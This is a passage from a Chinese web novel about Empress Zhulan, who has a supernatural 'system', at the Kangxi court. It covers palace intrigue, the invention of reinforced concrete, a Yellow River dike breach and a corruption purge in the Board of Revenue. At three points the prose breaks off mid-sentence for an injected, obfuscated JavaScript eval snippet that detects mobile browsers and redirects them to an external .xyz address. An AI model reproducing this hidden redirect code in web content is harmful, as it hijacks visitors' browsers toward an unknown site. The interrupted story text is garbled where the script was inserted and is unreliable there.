“太皇太后清醒了一会儿,惦记着这孩子。”苏麻喇姑屈身行礼,“永寿宫空旷,怕塔娜格格自己待着害怕。倒不如姐妹一处,诚心祈福更能感天动地。” 话音未落,端敏格格已恍然。她抚过腕间祖母绿镯子,忽然想起寿康宫里那个总爱躲在屏风后的贾敏——父亲早逝的孤女,此刻想必正对着窗棂发呆。“去,叫冬萧、秋葹把敏儿接来。”她朝贴身女官颔首,转身时,月白披风扫过供桌上的祈福香,袅袅青烟顿时腾起,将满室少女的剪影晕染得朦胧。 诺敏与玉宁听到声音,也迎了出来。 此时,太皇太后偶然清醒,居然记得叫赫舍里家的次女过来,这是什么意思?玉宁咬着唇,虽然早知塔娜的归宿必然在宫里,却不想这一天来的太早。皇上那么好,却从不去她宫里。以后姐妹越发多了,她可怎么办。还好,现在的皇上只去皇后那里。期盼着,等皇上想看看旁人了,她还能有机会。珠兰姐姐对她太好,给的太多,她生不起嫉妒的心思。 诺敏拉过塔娜的手,小声询问了几句,便带她进屋了,入内给太后请安去。诺敏不关系皇上的行踪,只想和珠兰姐姐贴贴,可珠兰姐姐太忙了,贴不到就贴她妹妹。 不多时,贾敏被扶着踏入殿内,鹅黄襦裙沾着廊下滴落的雨珠。 暂时无事做的塔娜立刻迎上去,学着诺敏姐姐解下身上的云锦披肩替她披上,她喜欢这个更小的孩子,拉着她仔细看。 端敏则轻轻拭去小女孩脸上的水渍,发间累丝金凤钗随着动作轻晃。 贾敏怯生生的行礼,随着塔娜的问话,细声细气的答。 殿外雨又淅沥,殿内却暖意渐生,女孩们跪坐在蒲团上,素手交叠在膝头,齐声诵读的《药师经》混着更漏滴答,在慈宁宫深处织成细密的祈愿网,只盼着能兜住榻上那缕飘摇的魂魄。 待太皇太后混沌间饮尽汤药,珠兰轻轻放下描金药碗,细瓷与紫檀几相触发出清浅脆响。她理了理鬓边微乱的簪子,拢好衣服,莲步轻移至侧殿。 贵妃萨琳自然添补了位置,看护着太皇太后。 宣妃阿日娜苏有些走神了,不知是在想着谁。 太后倚在榻上,眉间犹凝着化不开的愁绪,珠兰又半跪于软垫,温言软语宽慰良久,直至太后紧绷的眉眼终于舒展,在安神香萦绕中沉沉睡去。亲密度够高,安全感就多。 诺敏和玉宁对视一眼,还是主子娘娘有办法,她们哄了半天,太后娘娘都不愿合眼。 退出内室,珠兰抬眼,便见塔娜抱着膝盖坐在门边,小黑狗蜷在脚边打盹。 少女乌发松散地垂在肩头,望见她的刹那,琥珀色眼眸骤然亮起,像只灵巧的小鹿般跳起身,“姐姐!”话音未落,已扑进她绣着鸾鸟的月华裙裾间,发间茉莉香混着少女特有的气息扑面而来。 角落里,贾敏攥着帕子,局促地立在博古架旁。八岁的少女穿着干净整洁的鹅黄襦裙,发间仅有几朵小绒花,却掩不住眉眼间的灵秀。她望着相拥的两人,咬着下唇的模样像极了受惊的小兔,眼底流转着渴望与自卑交织的复杂神色。 “敏儿,过来。”珠兰朝她伸出手,指尖还残留着药碗的温热。 贾敏慌忙福身行礼,规规矩矩的动作里透着与年龄不符的老成。当皇后娘娘的手掌轻轻落在她柔软的发顶,少女浑身一颤——这带着药香的触碰,竟比记忆中母亲的怀抱还要温暖。 珠兰顺势将她揽入怀中,掌心触到贾敏单薄的脊背在微微发抖,低头时,正瞥见一滴清泪坠入自己衣料上的金线牡丹纹。 怀中的少女从僵硬到渐渐放松,珠兰的意识却在系统面板的蓝光中激荡。贾敏的潜能数值赫然显示为93,谋略天赋的进度条如烈火般灼目,与端敏格格那偏向武力值的极高数据截然不同,又似乎可以互补。 她望着蜷缩在臂弯里的小小身影,想起某一日她去寿康宫正看见贾敏躲在屏风后,却能凭借听力便精准指出女官采买账目中错漏的聪慧模样,心中涌起难以名状的悸动。 “往后便跟着端敏格格留在宫里,宫里有很多书随你看,你想学什么都可以与我说。”珠兰收紧双臂,声音低沉却带着令人安心的语气,这般惊世的聪慧,怎可埋没在后宅红妆里日复一日的煎熬。 殿外忽有夜风穿堂而过,吹得纱幔轻扬,却吹不散这方天地里,命运齿轮悄然转动的声响。 整座慈宁宫,唯有铜漏滴答作响,将众人悬着的心,一寸寸熬进漫漫长夜。 乾清宫内龙威震荡,康熙将弹劾奏折狠狠摔在金砖地上,碎纸如蝶纷飞。被宣召入宫的宗室们跪在冰凉的地面,为首的多罗郡王额上已渗出冷汗。 皇帝深青色龙袍在烛火下泛着冷光,踱步时腰间玉佩撞击发出清响,“当年鳌拜擅权,你们藏头缩尾;如今朕亲政了,倒学会跟着嚼舌根的编排后宫?”他突然停步,鹰隼般的目光扫过众人,“皇后教你们女眷修习强身之法,怎么,倒养出一群白眼狼?太皇太后病重,你们呢?被御史抓住宴饮!吃朕的饭,砸朕的锅,当真以为朕治不了你们?” 斥骂声震得鎏金蟠龙柱嗡嗡作响,老王爷们伏地叩首,额头撞出闷响。 直到众人脸色惨白、汗湿重衣,康熙才甩袖作罢。他理了理被扯乱的龙纹衣襟,抬脚便往慈宁宫而去,靴底踏碎满地月光。 一帮子宗室歪歪扭扭的颓然离宫,被皇帝吓得不轻。先帝不是这么个脾气,也没这么大脾气啊。皇上怎么就这样呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15999907|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们都怕当场被夺了爵位。好在,只是罚了俸禄,给了几十个板子,还能受得住。 慈宁宫檐角铜铃轻晃,药香混着安神香萦绕。 康熙听闻太皇太后刚服过汤药正在安睡,只是微微颔首,目光掠过垂眸行礼的贵妃萨琳与宣妃阿日娜苏时,寒意更甚。 萨琳回去看护太皇太后,她早就不为皇帝的任何举动而心伤了。 阿日娜苏望着皇帝的背影,想起过去好像也总是看着他离去,自己真的有希望得到那颗心吗?阿玛说,皇上会喜欢科尔沁的女子。可他根本就没见过皇上,他本就是在骗人罢了。可若是得不到那颗心,她又不甘心。皇上,比一年前俊俏了好多,是阿日娜苏见过的最俊俏的人。 他径直走向侧殿,龙袍扫过雕花槅门,却在看见屋内景象时陡然驻足——珠兰倚坐在软垫上,裙裾铺展如莲。塔娜歪着脑袋靠在她肩头,发间绢花蹭乱了皇后的衣襟;另一侧,贾敏红着脸缩在皇后怀中,鹅黄襦裙下的小脚不安地绞着。 烛火将三人身影映在墙上,竟比御花园的并蒂莲图还要温馨。这对吗?皇帝觉得眼睛疼,瞪人时间太长,手疼,拍桌子拍的,心也疼,生气闹得。 康熙望着皇后温柔抚弄少女发丝的模样,胸腔里未散的怒火突然化作绕指柔一般的酸涩,喉头滚动,面上微红,终究只轻轻咳了一声。 珠兰抬眼,望进一腔温柔里。 看那个死样子,还以为爱的有多深,其实猛一看,亲密度不到67.5。 内务府 索额图坐在堂上,王子腾带着老亲薛奋跪在下头。 “你之所言,可当真?”这人运气未免太好了,知道这种消息居然还能安然进京,一丝损伤都没有。 “不敢隐瞒大人,奴才所言句句属实。”薛奋涨红了脸,连连叩首,“奴才也是商人,平日没少与淮安商会来往。此次意外亲耳听了这等天大的阴谋,若非大人的家人相助,奴才就进不了京了。” 王子腾抹了一把汗,他是去信金陵,叫老亲来京中帮衬,可没想到带来了一个大炸雷啊。 薛奋也抹了一把汗,他想在想起来还后怕,觉得自己这辈子的运气可能都用在那天晚上了,真是折寿三十年啊。 索额图趁着两人低头,也抹了一把汗,这么大的消息,得报给娘娘。 不行,娘娘最近都在慈宁宫,消息递过去再回来就晚八秋了。也没法子核实了,江苏太远,一来一回黄花菜都凉了。 先两边办着,有问题我担着就是了,总不能坏了娘娘的大事。河工是首要的,是娘娘最在意的。绝对不能出事! 索额图都没注意,他现在行事,就跟葛布喇效忠皇上似的,他第一念头也是保娘娘了。 当靳辅的治河船队从一地匆匆再度启程,去往另一地治理时,两岸百姓箪食壶浆相送。送行的人群中,有老者焚香叩谢,亦有官吏长揖恭送,只是无人知晓,这看似顺遂的治河之路下,究竟埋着多少不为人知的血腥与秘密。 翻云会在这边蓬勃发展,黑吃黑之下,那些曾被士绅利用,作为阻挠河工之利刃的地下势力尽数覆灭。她们从最底层开始渗透的好处就是,在白道不曾察觉的时候完成了借壳上市,从来历不明的外地人混成了不知根底的本地匪徒。 某处大地主的田庄管事儿进城,跟主家说隔壁山头的匪帮换了老大,现在出手得要这个数儿了。 主家眼皮子都不抬,给,给,给,朝生暮死的穷鬼,一年换三个老大。 管事儿乐呵着出门,借着这个由头,还能自己昧下三成。 “程岫说让咱们买粮入京?”寿春从海上归来,抽出一张白笺,这个小子是京中跟来的自己人,他也是这一群文书里脑子最活泛的。 “是,说是必须赶在七月前出发,必要时可走海路回去,要多,要快。” 寿春点点头,照办。主子娘娘说了,在外头她们不够聪明,就听聪明人的。 富春嘿嘿笑,央求姐姐再让自己去海上耍。咱家的新海船可真好用,那大炮筒子用起来真带劲儿,打的那帮海上贼全做了水中鬼,就是过热容易裂开。 寿春考虑运粮时,正好把实战数据传回去,叫穆尔哈他们改。新船够大可速度还是不够快,老船速快可不够大。 京中乘快船转快马来信,叫她们以密辛暗示靳辅小心淮安,姐俩就直接把密辛告知了程岫,叫聪明人头疼去吧。她们几乎杀绝了江苏黄河两岸地界上的土匪山大王,河道衙门治理好了黄河入海口,还拓宽了河道,正好大船顺着海岸线进出,那边上的海盗就倒了大霉。 一般人找不到老巢,也抓不住灵活的海船,可翻云会里什么人才都有,在集体意志的熏陶下,在福利待遇的腐蚀下,卧底进来都能给同化了,一来二去就发现了不少上岸为民入海做匪的小秘密。 程岫······ 六月中旬,暑气蒸腾的紫禁城笼罩在蝉鸣之中。当索额图抱着裹着油布的“巨石”疾步而入时,鎏金自鸣钟正敲响未时三刻,铜齿轮转动的声响混着殿外荷塘的蛙鸣,在雕梁画栋间回荡。 珠兰斜倚在竹榻上,腕间东珠随着呼吸轻轻晃动。 自太皇太后病情好转,命后宫众人回殿休整后,她就又恢复了午休,却仍在半梦半醒间思索着那么多“涟漪级”能量结晶该怎么用。时空局的旧账,康熙的属性,未来的海航··· 河工只是刚开始,却给了珠兰不下于蜂窝煤带来的数量的能量结晶。 忽闻殿外脚步声急促,吉雅入内通传。 索额图满面通红地推开雕花槅门,玄色官服后背洇着大片汗渍。 “皇后娘娘!”索额图跪地,小心翼翼掀开油布。灰黑色的块状物在日光下泛着冷硬光泽,细看竟布满细密纹路。 48. 钢筋水泥 “水泥与钢筋之术已然大成!工匠日夜守着高炉,将炼制绝世好剑的控火之法、锻造之术反复推演,又得西洋传教士以几何算术之学佐证...”他激动得声音发颤,指尖抚过硬块表面,“您瞧这凝结的纹路,严丝合缝,坚若磐石!”虽然绝世好剑没能在半年内出炉,可他们做出了绝世好棍与好泥。 珠兰蹲下身,指尖轻触冰凉的水泥,系统面板在意识中骤然亮起:建筑科技树进度条如烈焰般攀升,"钢筋混凝土"的图标正从灰白转为刺目的金红。这就是妥妥的黑科技了,工匠们赌上了性命,去攀登了超越世纪的科技树。 记忆闪回数月前,工匠们在冶剑炉前汗流浃背的模样,传教士们用生疏的汉文书写公式的场景,此刻都化作眼前这改变时代的造物。索额图抹了一把子汗,虽说半年没交工绝世好剑,但是主子娘娘延期了三年啊,他和下头说的一年半。 “好,太好了!”珠兰望着索额图熬红的双眼,这块凝结着无数智慧与血汗的"巨石",不仅是建筑工艺的突破,更是将皇权与革新力量浇筑在一起的预演。 养心殿外,暑热未消,蝉鸣更急,却掩不住一场即将重塑天下格局的变革,正从这方小小的宫殿中悄然蔓延。 乾清宫内,康熙将朱批奏折重重掷于案上,鎏金笔架应声倒地,这是本月换的第五套了。 又是江苏那边,又有三名官员意外身故,一准儿是被朕的天命镇压死的。这群禄蠹也敢阻挠河工之千年大计,死了活该。若非他们死了,还该往下查往上追,康熙又疑心他们是不是被人提前灭了口。 听闻梁九功低语“春苒求见”,他指节叩击紫檀桌面,发出急促而规律的声响。 身着水绿宫装的春苒跪伏在地,“皇后娘娘得了内务府呈献的巨石...” 话音未落,皇帝已猛然起身,明黄龙袍扫过满地奏折,大步迈向殿外。 “万岁爷!”梁九功慌忙抓起披风,跟着就小跑起来。春苒踉跄着爬起,发簪险些滑落,而一众小太监早已提着袍角,跌跌撞撞地追在皇帝身后。 盛夏的阳光炙烤着金砖地面,康熙修长的身影裹挟着龙涎香,在宫墙上投下迅疾掠过的黑影。 少年帝王的皂靴踏碎满地蝉鸣,十二章纹龙袍在风中猎猎作响。他比春天又拔高了大半头,几乎都长在了腿上,大步流星间,玉带扣撞击发出清脆声响。 小太监们喘着粗气小跑跟随,锦靴几乎要踩上前者后脚跟,却仍被远远甩在身后。 唯有梁九功勉强能跟上节奏,余光瞥见春苒涨红着脸追赶,心中暗叹:这内务府的"巨石",怕是又要在宫里宫外掀起惊涛骇浪。 主子进了养心殿,他们都守在外头。 梁九功立在鎏金蟠龙柱旁,指尖摩挲着腰间乌木牌,望着殿外的阳光出神。 自师父顾问行调任敬事房总管,这乾清宫的晨昏便渐渐由他操持。早年师父就谨小慎微,教导他定要明白什么是“不敢多行一步”。 铜漏滴答声里,他梁九功效仿师父,将御前诸事打理得滴水不漏,话锋藏在笑纹里,心思裹在请安声中,一双三角眼却将宫墙内的明暗看得透亮。 那日,葛布喇大人外出公务,主子因奏折上的朱批与内阁大学士争执,摔了茶盏仍余怒未消,偏是主子娘娘遣人送来的冰镇酸梅汤,让少年天子紧锁的眉峰瞬间舒展。 某日,梁九功候在廊下添茶,见皇帝对着主子娘娘送来的鎏金茉莉纹茶碗微笑,突然想起坊间说顺治爷与董鄂妃的旧事。晨风掀起明黄帷幔,光影落在帝王侧脸,他恍惚觉得,眼前这抹温柔神色,倒比听旁人说起的史书里记载的情爱更真切几分。 “梁公公,内务府又送冰酪来了!”小太监尖细的嗓音打断思绪。他望着青瓷食盒上崭新的描金花纹,想起上月端午,皇后娘娘特意命人送来绣着五毒的香包,连他那旧了的丝绦都换成了金线新制的。 虽说太监隶属内廷,但与内务府分属两脉,可每逢年节,丰厚赏赐从未落下半分。内务府发的奖励、激励、鼓励,他们都有。主子娘娘是拿他们这些东西,当人看的! 梁九功瞅着,这后宫前朝的风云变幻,终究绕不过养心殿那位的身影,他心中自有计较。 珠兰指尖轻叩水泥块,她望着断面露出的交错钢筋网格,唇角扬起。 索额图捧着牛皮卷本,西洋传教士手绘的几何公式在宣纸上晕开墨痕,正要开口推演配比之妙,忽听帘栊骤响,明黄龙袍裹挟着龙涎香扑面而来。 “参见皇上!”珠兰盈盈福身,腕间东珠相撞发出清响。这大长腿,好看多了啊。回头,让春苒她们给做几条短裤,夏日热皇上不宜穿太多。 索额图已"扑通"又伏倒在地,官袍下摆铺展,额头几乎要贴上金砖。 康熙扶起珠兰,挥袖示意索额图起身,三步并作两步跨至石块前,皂靴碾过碎石时发出沙沙轻响,“起听说内务府炼出了比铁还硬的石头?索三,细细说来!” “回皇上!”索额图抹了把额角冷汗,“此乃钢筋混凝土,将铁骨嵌入特制泥浆,经西方传教士以代数几何之法精算配比...”他忽然顿住,望着图纸上密密麻麻的公式,声调不自觉拔高,“娘娘特意命人译出数本西学书籍,让工匠研习西学之术,师父带徒弟自然形成体系,才有今日突破!” 康熙抚掌大笑,龙纹金镶玉扳指撞在案几上,“好个赫舍里氏!你兄长葛布喇文韬武略忠心耿耿,你这老三,居然把洋人的学问嚼出了花!一片忠心倒是像你大哥!”话音未落已解下腰间琥珀虫佩,“这赏你了!”又围着石块踱步,带起的风掀动满地图纸,“不过这劳什子,究竟有何用?” 索额图双手捧着琥珀,心头猛地一跳,想起近日大哥念叨靳辅治河工期慢的密报,当即又跪倒,“回皇上!此乃天赐河工神材!以往筑堤用砖石木料,汛期常被冲毁,这混凝土浇筑的堤坝...”他用手在金砖上画圈,“造价仅为石材三成,半月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他摩挲着腰间玉带,沉吟道:“倒也是,朕连廊柱要雕蟠龙还是并蒂莲都没定...”转头,“既如此,先修缮宫中殿宇!养心殿漏雨,东六宫也该翻新了!” 这借口可真烂,廊柱几时有雕并蒂莲的。养心殿,几时又漏雨了。 珠兰多少松了口气,她望着皇帝在图纸上勾画的潦草线条——在这钢筋混凝土即将改变天下格局的当口,绝不能让帝王的注意力,过早消耗在华而不实的园囿之上,那东西可不给她能量。 与此同时,河道总督靳辅的官船刚抵淮安府,黄河就在桃源县决了堤。 浊浪如黄龙破闸,冲垮漕运堤坝时,正有运粮船队经过,三百艘漕船瞬间没入洪流。 淮安城的百姓趴在城墙垛上,望着自家屋顶在洪水中浮沉,哭喊声混着决堤的轰鸣,惊飞了总督府檐下的雨燕。 康熙五年七月,暑气蒸腾如沸,紫禁城琉璃瓦上的铜鹤被烤得发烫。 慈宁宫的药香终于淡了些,太皇太后能倚着软枕翻看佛经,却不知南方已将要燃起烽烟——监视三藩的使者一路快马踩碎岭南晨雾,密信上的朱砂印在兵部大堂泛着冷光。 49. 端了户部 太和殿里,户部尚书米思翰官服后背洇出狰狞的汗渍,“万岁!三藩用兵在即,河工需银千万,不如...” 话未说完,康熙的茶盏已砸在他脚边,碎瓷片溅上米思翰的额头。 “河工若废,漕运断绝,南方军需从何而来?”少年天子踢开案几,明黄龙袍扫过《皇舆全览图》,指尖戳在桃源县的溃堤处,“冀如锡!” 工部侍郎闻声出列,官帽上的宝石顶子簌簌发抖,“带二十名工部司官,即刻南下!若查不出堤坝崩坏实情,提头来见!” 靳辅刚到,就发生溃堤,还得说他命大,若是再晚个一时三刻,就被黄河一起冲走了。皇帝自诩不是个傻子,这不是江苏做局才怪。 朕前脚命人送了水泥混凝土这等利器,还要做千年大计,后脚就有人要把河道衙门一网打尽。 看人命大没死,又勾连朝中大员,说什么暂罢河工!朕有的是钱,军需不废,河工亦如此! 怎么朕治理黄河,还动了谁的饭碗不成! 不对,朕所发大誓,足以让臣工不敢言放弃河工! 米思翰这个家伙,精明,不会这么莽撞,甫一上任就敢冒死顶撞于朕,背后是谁给他施压! 殿外暴雨突至,铜钱大的雨点砸在湖里,惊起满池锦鲤。 晚上,纳兰明珠上门拜访新任户部尚书米思翰。 米思翰见了这天子近臣,如何不知皇上是在给自己留面子。 他长叹一声,将江苏之事和盘托出。 不是他要如何,是户部与江苏勾连已非一日。那个时候他这个尚书不说话,底下的侍郎也要说话的。 后半夜,明珠从米思翰府上出来,直奔大内。 当冀如锡的勘察队伍冒雨出发时,淮安府的百姓正用门板搭建浮桥,而靳辅站在决堤处的浊浪前,身上是新赐的黄马褂,葛大人送来的杨先生救了所有人的性命啊。 若非杨期建议在前一站多修整了一日,他们就得死在大堤上。 远处的一株大树上,富春看着姐姐寿春,“姐,淮安的不杀了?” “傻丫头,程岫传信了,说让咱们得给皇上留点由头,这边的胆子最大,主意打到漕运上了,把证据留下即可。”寿春把聪明人的话转述了一遍,“漕运断绝,海运当兴,天津新过来的大轮船好用着呢,正好咱们翻云会赚钱。”收拢了一群人,都得吃饭呢。现下这边遭灾了,正是各方抢钱抢地抢人的时候,她之前也不知南边买卖都这么做。 桃源决口,三县被淹,五县绝收,漕运一断,更有粮价飙升的隐患。靳辅先时是目瞪口呆,后来发现本地官员处处掣肘,就是不肯好好配合他恢复大堤、安抚灾民。但是打死他也想不到淮安府的这帮禽兽敢玩这么大,是冲着他的命来的便罢了,居然拉这么多百姓下水。 可杨期知道,他不仅知道淮安官吏胆大包天,还知道这边的漕帮也烂透了。他们不仅坏,还蠢,知情人都入京了,消息都走了一圈又传回来,这边还按计划行事呢。 “杨先生,咱们为何不提前制止,这般下去遭殃的还是百姓。”程岫不解,明明翻云会的消息送来的很及时,杨先生都分析出来那帮官僚的下一步行动了,只消提前派兵就能堵住那帮决口的人。 “孩子,你得明白,咱们救不了所有人。”杨期说着看似绝情的话,“有所取舍,是必须的。” “可您还是让大人提前派人到乡里示警,岂非打草惊蛇。”程岫又糊涂了。 “有所取舍,信我等则可生。”杨期一笑,拍了拍程岫的头。这个孩子悟性出众,品行也好,可以多教一点。现在,咱们只要打大人的牌子,民众便都无疑虑,皆来投靠。 “杨先生,杨先生,您看这混凝土咱们是不是得这么用···”靳辅来寻,清澈的眸子里全是真诚。 这位在地方上摸爬滚打起来的河道总督,脑袋瓜子里怎么可能没有阴谋诡计,可到了江苏地界,一切都有人提前扫平,居然没让他有用武之地,只能一门心思钻研河工去了。 葛布喇大人,恐怖如斯啊!靳辅感叹,大人暗中派人救我性命于水火。我必然要报答! 杨期感叹,清廷接二连三出现此等神物,莫非还有维新救世的可能。因为治河的成效,他居然也升官了。他此刻都混进朝中做了从三品了,这一路也许可以走通。 程岫总觉得哪里不对,可他说不上来。 清河县逃难路上 当地大族的族长领着宗族带着地契一路跑一路骂,哪个龟孙不守规矩,开口子不提前说,连咱家都淹了,咱家的地,咱家的粮,都泡了啊。等明年的,老子回来,把你们老家都淹了。 山阳县一处大宅 “老爷,咱们仓里的米啥时候抛。” “笨!抛什么抛。去乡下,收泥腿子的地,洪水泡了不值钱,还不快去,晚了就被隔壁县的土老帽抢了先。” 安东县一处水匪的聚集地 满脸横肉的老大挥舞着大刀,带着兄弟们就要出门抢劫灾民。 桃源县 破衣烂衫的老百姓哭嚎着离开,还不知道前方是生路还是死路。 淮安府 衙门里的老爷们想跑,还不敢,只能陪着来治河的靳辅组织抢救灾民,开窑冶炼,封堵缺口。他们都这么努力了,那京里来的大爷还嫌弃他们碍手碍脚。 此时的京中,皇帝听着明珠所言,面上平静如水。原以为户部的病,是换掉一个尚书便可以救治的。 结果··· 米思翰浓眉大眼的,还不如皇后一介妇人有魄力! 每当暮春的烟雨笼罩秦淮河,河面上运粮漕船首尾相接,船工们赤着上身拉纤的号子,混着岸边钱庄算盘珠子的脆响,织成一张密不透风的利益网。 江苏各府的知府、同知,十有八九是从户部各司员外郎任上外放,他们袖口藏着的账本,比漕运总督府的河工图还要详尽。京中官员外任,都要走吏部,那么是谁为户部开的方便之门呢。 这鱼米之乡的每一粒稻米、每一寸盐田,都在户部官员的算盘珠下流转:丰年时,他们用漕运码头的盐引换太湖的丝锦;灾年到,便捧着龟裂的田亩图跪在紫禁城,将朝廷拨下的赈灾银装进私囊——上头报的是“免税三年”,下头却让里正挨家挨户催缴“河工捐”,白花花的银子从灾民破碗里,直接流进了官员们青砖铺地的密室。 当类似桃源县的这种决堤奏折送到户部时,那些浸在洪水里的良田,很快就会被账上的“赈灾余银”兼并成某大户家的,而朝廷免税的圣旨,不过是给他们搜刮民脂的幌子。 秦淮河上的画舫还在歌舞,而北岸仓库里堆积的官粮,已被偷换成掺了沙土的劣米,只等着下一场“天灾”,再演一出监守自盗的戏码。洪水啊,会消灭一切痕迹。 米思瀚:这哪里是灾,这就是财。 明珠说完,就跪在地上,不敢抬头。 他是满洲正黄旗出身,早期以侍卫身份入值宫廷,后升任銮仪卫治仪正(掌管皇家仪仗的低级官员),被佟国纲发现并举荐后,逐步获得康熙信任。今年升任内弘文院学士,本职工作是参与朝廷文书事务,副业是作为天子近臣到处鼓噪唇舌。 本意去户部尚书那里,是想捉一条幕后操纵大员的大鱼。 米思瀚出身将门之家,世居住在沙济。曾祖旺吉努在太祖时率部归顺,被授为牛录额真。父亲哈什屯为康熙初年的议政大臣,康熙初年去世,谥恪僖。 米思瀚在其父逝世后承袭世职,兼管牛录,被授为内务府总管。当时辅政大臣想借用尚方器物,他极力拒绝。康熙四年,皇帝亲政,授其为礼部侍郎。康熙五年,升任户部尚书,位列议政大臣。 能操纵这样的人,岂能是一般人。 结果是,结果是,窝案。 原来,这位进了户部就开始摸内情,就摸出了这么一桩在部堂里几乎是公开的秘密。 康熙听着,气笑了,真是开了眼了啊。这帮禄蠹,只知掣肘于朕,朕绝不听之任之。 康熙将密折攥得粉碎,朱砂字迹透过纸渣染红掌心,案头的鎏金自鸣钟铜齿轮转动的声响在死寂的大殿里格外刺耳。 “米思翰呢?”他的声音低得像冰碴,明黄龙袍下的指节咔咔作响。 梁九功扑通跪倒,拂尘扫落的香灰在金砖上划出裂痕,“回万岁爷,户部尚书正在...正在外核对漕运账目...”米思翰也没在家睡大觉,连夜入宫了。 “核对?”康熙突然抬脚,将面前的紫檀案几踹翻在地。御笔、镇纸、奏折滚落一地,其中一封尚未拆开的江苏巡抚密报,恰好翻开在弹劾河道衙门越权处。 他还好意思弹劾别人越权! “传旨!”康熙踩过狼毫笔杆,龙涎香混着墨在空气中弥漫,“着索额图带銮仪卫,即刻查封户部三库!捉拿一众户部官员!着伊桑阿转任户部侍郎,与冀如锡一同南下,若查不出银子去向,朕拆了他俩一身骨头!” 殿外暴雨骤至,当索额图率领甲士冲进户部时,堂官正将一叠银票塞进暗格,鎏金算盘还在噼啪作响。 索额图看着鸡飞狗跳的户部,还有指着鼻子骂自己是鹰犬的,一时分不清自己是御前侍卫,还是锦衣卫东厂。 乾清宫内,康熙越想越气,觉得自己就是个笑话。他扯下墙上的《皇舆全览图》,指尖戳在江苏地界,“好个两头吃!”冷笑抓起案上的翡翠印泥盒,狠狠砸向立柱,“传朕旨意:凡涉户部窝案者,不论品级,满门抄斩!” 梁九功伏在地上,听着帝王靴底踏碎印泥的声响,这雷霆万钧一般的治贪之决心,让他不由自主的回忆起自己有没有收过户部的礼钱。 内阁大学士们与天子近臣,依次前来听命。 自从内阁票拟权从“辅政大臣代批”回归“皇帝亲决”,大学士需直接向康熙汇报,成为皇帝处理政务的智囊团,同时康熙开始频繁召见南书房翰林,部分分割内阁权力。 佟国纲看向新提拔入阁的李之芳、熊赐履、魏裔介等汉官,汉大学士比例从辅政时期的30%升至约50%。但满官仍掌握核心决策权,一旦遇见大事,这群人就集体失声,全凭圣意。 佟国纲看向老臣折库纳,这位是满洲正黄旗人,因与鳌拜无深交,暂留任文华殿大学士,但实权渐失。老臣巴泰,满洲正蓝旗人,鳌拜倒台后仍留任,因未依附鳌拜而得以保全,继续参与机务,但权力也逐渐被新贵取代。这俩人就是个大木头,此刻战战兢兢啥也不敢说。 想起车古这个前户部尚书,乃是满洲镶白旗人,他建议对全国土地进行详察,限制官绅大户“越占土地”,停止“圈地”,认为“满洲人不能耕种,反致荒芜”,主张把土地“均摊给民,耕种纳粮”。还提出“清查越占地土”“严剔积弊”“清理屯丁”等措施,以增加财政收入,稳定社会形势。但是,他太抠门,钱不肯拿出来给皇帝花。他本已因年迈致仕,此时户部爆发窝案,不晓得他还能不能安度晚年。 佟国纲看向葛布喇,希望老大哥可以给皇上灭灭火。这事儿就在户部了结吧,可别再往其他部堂牵扯了。 没想到,老大哥那眼睛里也喷火了。 得了,这您的高高徒,我说皇上像谁呢,合着跟您一模一样。 暴雨声中,养心殿的灯影骤然亮起,珠兰临窗而立的身影,在雨幕中显得格外沉静,怎么突然就得了那么大一颗“浩波”级能量结晶呢。 翌日 珠兰在养心殿摆了一桌宴席,请了贵妃钮钴禄萨琳、宣妃博尔济吉特阿日娜苏、庶妃马佳诺敏与纳喇玉宁,还喊来了每日百无聊赖就想着玩儿的妹妹塔娜。 这宴席本也没什么名头,就是姐妹小聚,毕竟前朝刚有大案,后宫就闹出大动静,不太好。 但是啊,该安抚还是得安抚,得让姐妹们知道,这案子是冲着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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珠兰将这一切看在眼里,轻轻咳嗽了一声:“昨儿让御膳茶房做了奶酪酥,你们尝尝?” 她亲手给阿日娜苏递了块,“这几日天气热,太皇太后特意让人从畅春园送了些荷叶来,煮茶喝最解暑,做点心也好吃,回头给各宫都送些去。” 这话看似寻常,却像只无形的手,悄悄抚平了殿内的褶皱。 玉宁的目光收了些,阿日娜苏捏着奶酪酥的手也松快了些,连翻书的萨琳都抬起头,笑着说:“前儿尝过,比蒙古的奶豆腐细滑些。” 窗外的阳光透过葡萄叶,在地上洒下斑驳的光影。 塔娜和诺敏的笑声还在飘进来,混着殿内的说话声,倒真有了几分姐妹闲坐的暖意。 珠兰知道,有些事急不来,比如皇上的心思,比如后宫的安稳。 但至少此刻,这桌宴席能让她们明白,只要她在,就不会让前朝的风浪,轻易卷到这方寸宫墙里来。 阿日娜苏的指尖划过窗棂上的雕花,那繁复的并蒂莲纹硌得她生疼。听说,是皇帝专门为皇后娘娘选的花色。 可那又如何呢?他们也同样没有孩子。在草原上,没有孩子的夫妻多是背地里处不到一起的。 就像这宫墙,好看,却处处是束缚。 她从小听着“草原的女儿要为部落争荣光”长大,那时她眼里的皇帝,是弯弓射大雕的英雄,是能让草原依附的参天树。 长辈们说,凭着博尔济吉特氏的血脉,凭着她的聪慧,后位该是她的——那是她的使命,是她望向京城时,心里燃着的一团火。 可太皇太后和太后只用几句轻飘飘的话,就掐灭了那团火。“珠兰更妥帖”,她们说。于是她回了草原,看着珠兰姐姐成了凤冠霞帔的皇后。 在草原的日子,她又活过来了,她本来就是草原上小马驹啊。 